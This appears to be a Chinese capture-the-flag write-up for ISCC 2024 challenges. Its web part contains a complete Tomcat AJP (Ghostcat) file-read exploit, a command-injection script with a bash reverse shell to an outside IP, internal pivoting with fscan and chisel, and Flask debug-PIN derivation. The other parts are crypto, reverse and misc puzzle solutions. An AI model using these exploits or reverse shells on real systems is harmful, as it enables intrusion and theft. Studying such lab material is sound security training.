web

还没想好名字的塔防游戏

标题: fig:

打到第三波有弹窗

标题: fig:

全局搜索这个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms
找到剩下的所有提示

标题: fig:

根据题目说的xxx共有18位
把Mystic Defense War: The Secret of Guardian Towers and Magical Monsters的首大写字母和三个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms、恭喜,您已消灭第10波怪物,这是第二条提示:Opal Oceans Glow和恭喜,您已消灭第100000波怪物,这是第三条提示:Elves Whisper Wonders的首大写字母拼接起来就得flag
ISCC{MDWTSGTMMBBSOOGEWW}

原神启动

根据报错信息,得知是一个8.5.32的tomcat,这个版本存在一个CVE-2020-1938

image-20240601221053080

网上有脚本,可以直接梭哈,读flag

image-20240601221112580

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)

if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)

res += pack_string(self.request_headers[h_name])
return res

def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res

r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break

return res

class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError

def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value

def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)

def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")

def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen

@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr

class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)

def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jsp',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))


掉进阿帕奇的工资

先注册

img

通过信息重置即可绕过成为管理员

img

img

在工资的年终奖分配计算那里存在命令执行

img

写一个脚本进行反弹shell的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import os

def xor_encrypt(plaintext, key):
key_ord = ord(key)

ciphertext = ""
for char in plaintext:
char_ord = ord(char)
xor_result = char_ord ^ key_ord

xor_result_char = chr(xor_result)

ciphertext += xor_result_char

return ciphertext

def print_ones(plaintext_length):
return "1" * plaintext_length

def main():
plaintext = os.sys.argv[1]
key = "1" # 00110001 是字符 '1' 的ASCII码

ciphertext = xor_encrypt(plaintext, key)
ones = print_ones(len(plaintext))
result = req(ciphertext, ones)
lines = result.split("\n")[1:]
print("cmd: " + plaintext)
index = lines[0].find(plaintext)
lines[0] = lines[0][index + len(plaintext) :]
result = "\n".join(lines)
print(result)

def req(basicSalary, performanceCoefficient):
url = "http://101.200.138.180:60000/gongzi_iscc.php"

payload = urlencode(
{
"basicSalary": basicSalary,
"performanceCoefficient": performanceCoefficient,
"calculate": "",
}
)
cookies = {"PHPSESSID": "ko3ccuvbc3hla124vm57ge3b6u"}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
req = requests.request("POST", url, data=payload, cookies=cookies, headers=headers)
html = req.text
soup = BeautifulSoup(html, "html.parser")
result = soup.find("div", class_="result-box").text
return result

if __name__ == "__main__":
main()

image-20240601222012189

命令: python main.py “bash -c ‘bash -i >& /dev/tcp/47.94.237.26/8899 0>&1’”

img

得到的shell很多命令都没有,需要上传busybox进行操作

img

且daemon用户只有allPeple目录的权限

img

利用cat进行传输busybox

img

结合题目以及使用arp命令发现一个新的机器:secret.host.iscc2024_default (172.19.0.3)

img

用同样的方法上传fscan,扫出一个80端口

img

因为靶机上工具有限,所以利用chisel搭个隧道出来,然后使用dirsearch扫目录

img

扫出一个flag目录

img

代码审计

进行代码审计,得到:是一个flask服务,有两个接口:/geneSign和/De1ta

/geneSign接收一个param参数,并设置action=“scan”,然后使用key与这两个参数拼接在一起计算md5,作为签名返回。

在Exec()方法中首先使用action、param重新计算签名,与sign值对比,从而验证签名。然后判断action参数中是否有字符串”scan”,若有则将param作为文件名读取文件内容,并将读取的内容写入“已存在的文件”中。接着判断action中是否有字符串”read”,若有则从“已存在的文件”中读取内容,并且作为返回数据。

因此目的就是要使action参数中既有scan又有read,而param设置为flag.txt就可以。这样可以让flag先写入"已存在的文件",然后再"已存在的文件"中读取出来。但geneSign()中设置了action=“scan”,并且后面计算了签名。

这里的漏洞出现在签名时将各个字符串拼接在一起再计算md5,所以重新计算签名时,字符串的内容未必要和之前的一样,只要它们拼接起来一样就可以了。

所以可以在生成密钥时,设置param=“flag.txtread”,这时action=“scan”,拼接起来是"flag.txtreadscan"。

在验证密钥时,设置param=“flag.txt”,action=“readscan”,这时拼接起来仍然是"flag.txtreadscan",验证通过,满足读取flag.txt的条件。

生成密钥:

img

验证签名,读取flag

img

Flask中的pin值计算

username

F12看到一串字符,解密后得到一个新的目录

让他不要重复即可获得username: pincalculate

20240507195037242

在问他给出appname和app.py绝对路径的时候得到的都是一样的,应该是监测到app关键字就返回了 一个新的目录/crawler

20240507195252206

modname和appname

问海螺也没给,所以直接默认

app.py绝对路径

访问新的目录,要一秒内计算四位数的加减乘除,可以利用脚本完成

20240507195617996

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# http://101.200.138.180:10006/get_expression
# http://101.200.138.180:10006/crawler?answer=

import requests

# 获取表达式
response = requests.get("http://101.200.138.180:10006/get_expression")
expression = response.json()['expression']

# 替换除法和乘法运算符
expression = expression.replace('÷', '/').replace('×', '*')

# 计算表达式的结果
result = eval(expression)

# 将结果发送到指定的URL
response = requests.get(f"http://101.200.138.180:10006/crawler?answer={result}")
print(response.text)

20240507195805698

得到了app.py的绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac的信息:uuidnode_mac位于/woddenfish

uuidnode mac

在点击抓包的时候发现有一个flask session

20240507201134855

然后利用hackbar重新构造session即可,密钥在网站源码中可以得到:ISCC_muyu_2024

20240506230754553

得到mac地址为:02:42:ac:18:00:02->0266172240002
以及machine_id的线索:/machine_id

machine_id

点击中间的VIP会员奖品返回了一个jwt_token
这里是有一个CVE-2022-39227的CVE可利用

20240512193724551

脚本:https://github.com/user0x1337/CVE-2022-39227
注入role=vip
得到的新的token要经过url编码,不然会报400错误

20240512201603742

得到了flask session的key
然后用脚本伪造session即可得到machine_id
脚本:https://github.com/noraj/flask-session-cookie-manager

20240512201541118

计算pin

网上可以找到脚本Flask调试模式PIN值计算和利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import hashlib

from itertools import chain

probably_public_bits = [

    'pincalculate'  # username 可通过/etc/passwd获取

    'flask.app',  # modname默认值

    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))

    '/usr/local/lib/python3.11/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)

]

private_bits = [

    '2485378351106',  # mac地址十进制,使用print(int("02:42:ac:18:00:02".replace(":",""),16)),即可转换成10进制

    '39c61de4-9c0a-4738-b95d-ef3f488d7222'

]

# 下面为源码里面抄的,不需要修改

h = hashlib.sha1()

for bit in chain(probably_public_bits, private_bits):

    if not bit:

        continue

    if isinstance(bit, str):

        bit = bit.encode('utf-8')

    h.update(bit)

h.update(b'cookiesalt')



cookie_name = '__wzd' + h.hexdigest()[:20]



num = None

if num is None:

    h.update(b'pinsalt')

    num = ('%09d' % int(h.hexdigest(), 16))[:9]



rv = None

if rv is None:

    for group_size in 5, 4, 3:

        if len(num) % group_size == 0:

            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')

                          for x in range(0, len(num), group_size))

            break

    else:

        rv = num



print(rv)

flag

访问http://101.200.138.180:10006/console然后输入pin值即可获得flag

Reverse

迷失之门

一个简单的字符替换,利用ida字符然后分析伪代码即可

image-20240601221624139

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
str1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'abcdefghijklmnopqrstuvwxyz'
str3 = '0123456789+/-=!#&*()?;:*^%'
str4 = 'DABBZXQESVFRWNGTHYJUMKIOLPC'
result = 'FSBBhKZuUgLKVjJVSCFTUrctpG6'

input_str = ''
for j in range(len(result)):
for i in range(33, 129):
if i != 127 and i > 32:
v22 = i - ord(str4[j])
if v22>0:
if v22 > 25:
if v22 > 51:
v1 = str3[v22 - 52]
else:
v1 = str2[v22 - 26]
if v1 == result[j]:
input_str += chr(i)
else:
v2 = str1[v22]
if v2 == result[j]:
input_str += chr(i)
print(input_str)


Misc

精装四合一

用010打开四张图片,每张图片的最后都有附加的数据

img

提取附加数据,并把附加数据都进行异或0xff

img

img

剩下的三张图片也是如此操作

然后即可发现每段数据的开头分别为50、4B、03、04,这就是zip压缩包的文件头。

所以利用脚本循环读取这四个文件的字节数据,并存为一个新的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 打开四个文件
file_paths = ["left_foot_invert.png", "left_hand_invert.png", "right_foot_invert.png", "right_hand_invert.png"]
files = [open(path, "rb") for path in file_paths]

# 创建一个新文件用于写入
output_file = open("output.zip", "wb")

try:
while True:
for file in files:
byte = file.read(1) # 从每个文件中读取一个字节
if byte:
output_file.write(byte) # 将字节写入新文件
else:
break # 如果文件结束,则停止读取该文件
else:
continue # 如果所有文件都还没结束,则继续循环
break # 如果有文件结束了,则退出循环
finally:
# 关闭所有文件
for file in files:
file.close()
output_file.close()

得到一个压缩包,发现是加密了

img

用010打开看了,不是伪加密,那就直接爆破,得到密码:65537

img

把得到的word文档解压后在document.xml里面发现一串字符串,经过yafu分解得到了p和q

img

在media里面看到一张无法正常打开的图片,查看16进制文本,结合文件名猜测这就是密文

img

写一个脚本进行解密

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
# import

with open('true_flag.jpeg','rb') as f:
enc = int.from_bytes(f.read(),'big')

e = 65537
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

dec = pow(enc,d,n)
flag = int(dec).to_bytes(32,'big')

print(flag)

RSA_KU

解方程组,解出(p-1)和(q-1)即可,代码中分别以a和b作为代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from sympy import symbols, solve
import gmpy2
from Crypto.Util.number import *

n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 104272570188425816457550830426972655347800820644283360435261275919128895675122726204907979154858245194128555722510677792210638866179920747302589321193622617409463246735661050043076112493584695377171633331916803789706141304131866457367323925012895712310019862372095302292831205579224765261224857162558289307156
a = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
b = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458

# 定义变量
x, y = symbols('x y')

# 定义方程组
eq1 = n-x-2*y-1-a
eq2 = n-2*x-y-1-b

# 求解方程组
solution = solve((eq1, eq2), (x, y))

# 打印解
print("x =", solution[x])
print("y =", solution[y])

phi = int(solution[x]*solution[y])

print(phi)

d = gmpy2.invert(e,phi)

m = pow(c, d, n)

print(long_to_bytes(m))

Number_is_the_key

把文件解压后,在xl/worksheets/sheet1.xml文件里存在大量的单元格数据,但是只有单元格的位置,并没有内容

那就自行赋值,把单元格显示出来,把所有的”/><c”字符替换成”>1<c”,即往单元格内填充数字1

再变回xlsx文件,可以看到若隐若现的二维码图像

image-20240601222532873

把列宽变成2,然后添加条件格式,单元格的值等于1的时候,填充黑色,即可得到一张清晰的二维码,扫码后即可得到flag

image-20240601222543342

flag:flag{NLomDaRRoBUJ}

Funzip

Base64隐写,脚本跑一下即可

image-20240601222632003

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64

b64charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('f380d850e6ebdb19b7d0743.txt', 'r') as f:
hind_bin = ''
for line in f.readlines():
now_str = line.strip()
if len(now_str)%4 != 0:
now_str += "="*(4-len(now_str)%4)

row_str = base64.b64encode(base64.b64decode(now_str)).decode()
offset = abs(b64charset.index(now_str.replace('=','')[-1]) - b64charset.index(row_str.replace('=','')[-1]))

equalnum = row_str.count('=')
if equalnum:
hind_bin += bin(offset)[2:].zfill(equalnum*2)
print(hind_bin)

hind_str = ''.join([chr(int(hind_bin[i:i + 8], 2)) for i in range(0, len(hind_bin), 8)])

print(hind_str)